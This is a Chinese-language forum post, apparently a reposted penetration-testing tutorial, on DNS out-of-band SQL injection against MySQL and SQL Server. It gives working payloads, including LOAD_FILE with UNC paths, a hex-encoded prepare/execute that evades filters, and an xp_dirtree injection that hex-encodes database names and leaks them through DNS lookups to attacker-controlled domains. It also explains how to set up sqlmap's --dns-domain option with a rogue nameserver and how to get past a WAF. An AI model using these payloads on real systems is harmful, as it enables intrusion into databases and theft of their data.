taibeihacker
Moderator
0x00 起因
實際案子的時候遇到了一個注入,過狗可以使用sqlmap,但是是基於時間的注入和限制頻率需要使用--delay參數,本來就是延時再加上--delay等的心力憔悴。所有有了下面介紹使用sqlmap利用DNS進行oob(out of band)注入,快速出數據。一般情況下僅適用於windows平台
0x01 场景
你有沒有遇到這樣類似的注入場景。 1、時間盲注,數據庫、表及字段內容特別多,等到花兒也謝了。 2、mysql5.6+只能使用mysqli或pdo連接方式,多推薦使用pdo連接。使用pdo連接方式,可以執行多語句,但是PDO只會返回第一條SQL語句的執行結果,所以一般不能直接拿到數據,被迫通過update某個可見字段或者sleep注入3、遇到waf攔截,含有特定內容的返回包接受不到,明明測試沒有攔截過濾,感覺執行成功了,卻沒有接收到返回數據(能執行命令的時候也可以向web目錄寫文件)0x02 原理
使用unc路徑,會對指定的域名進行dns查詢,使用dns信道,配合dns服務器收到的數據可快速得到數據內容。使用dns有一定的好處,可以突破主機網絡隔離,例如dmz主機不能直接連外網,但是配置的網絡可達的dns服務器往往可以,通過查詢域名遞歸的方式,dns服務器可以將返回數據通過dns協議帶出去。 unc路徑是windows下的特性,默認安裝的linux下不存在這樣的功能。流程图如下:

mysql使用pdo鏈接數據庫盲注判斷是否成功的測試語句(普通的注入也可以參考)
SELECT LOAD_FILE(CONCAT('//',(SELECT 2333),'.mysql.panokaz.exeye.io/abc'));
select hex('SELECT LOAD_FILE(CONCAT('//',(SELECT 2333),'.mysql.panokaz.exeye.io/abc'));')
set @x=0x53454C454354204C4F41445F46494C4528434F4E43415428272F2F272C2853454C45435420277465737427292C272E6D7973716C2E70616E6F6B617A2E65786579652E696F2F6162632729293B;prepare a from @x;execute a;
mysql的使用场景:

declare @s varchar(5000),@host varchar(5000) set @s=(host_name()) set @host=CONVERT(varchar(5000),@s)+'sqlserver.panokaz.exeye.io';EXEC('master.xp_dirtree '\\'+@host+'\foobar$'')
sqlserver的使用场景:

0x03 手工测试遇到的问题及解决方案
因為存在dns緩存,請求過一次域名後,會在本機產生dns記錄,不會向外遞歸查詢,所以unc路徑中DNS域名不能相同unc路徑長度不能過長,通過sqlserver報錯顯示以'\\aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' 開頭的標識符太長。最大長度為128。可知unc路徑最大長度為128
unc路徑中不能含有空格等特殊字符,包含的話不會發送dns請求
以sqlserver的注入為例,參考sqlmap給出的方案解決
'; DECLARE @host varchar(1024);
SELECT @host='rMy.'+(SELECT TOP 1 master.dbo.fn_varbintohexstr(CAST(SUBSTRING((ISNULL(CAST(name AS NVARCHAR(4000)),' ')),1,13) AS VARBINARY(8000))) FROM master.sysdatabases WHERE name NOT IN (SELECT TOP 4 name FROM master.sysdatabases ORDER BY name) ORDER BY name)+'.Nrz.rainism.cc';
EXEC('master.xp_dirtree '\\'+@host+'\cCkc'')--
通過在域名中添加隨機字符串'rMy','Nrz'確保每次查詢dns不存在緩存
通過使用substring()函數每次傳輸特定位數的數據
通過使用master.dbo.fn_varbintohexstr()存儲過程對獲得數據進行16禁止編碼
0x04 使用sqlmap的dns-domain参数进行oob注入
這麼方便快捷的注入方式怎麼會沒有自動化的工具,仔細看過sqlmap文檔的同學肯定知道--dns-domain的參數,這就是sqlmap集成的利用dns進行oob注入的方法使用方法:sqlmap使用--dns-domain參數時候會監聽53端口,我們需要把我們獲得數據所使用的域名的dns服務器配置到我們運行sqlmap的主機,就可以獲得dns外帶的數據。
因為配置dns服務器的時候也需要dns,所以我們需要兩個域名,詳細配置如下:
配置我們的用於解析dns的nameserver的域名ns1.xxx.com,ns2.xxx.com指向我們運行sqlmap的主機ip,這裡我使用*通配符配置A記錄

配置我們用於外帶數據的域名rainism.cc的域名服務器為ns1.xxx.com和ns2.xxx.com

我們在外網的vps上執行如下命令sqlmap.py -u 'http://xxoo.com/index.php?id=1*' --random-agent --dns-domain='rainism.cc' -v 3可以看到sqlmap執行的語句和返回的數據

使用tcpdump監聽53端口,可以看到回傳的數據內容

原文鏈接地址:https://mp.weixin.qq.com/s/nCvrk6NEb_lDv7MXdXn3vA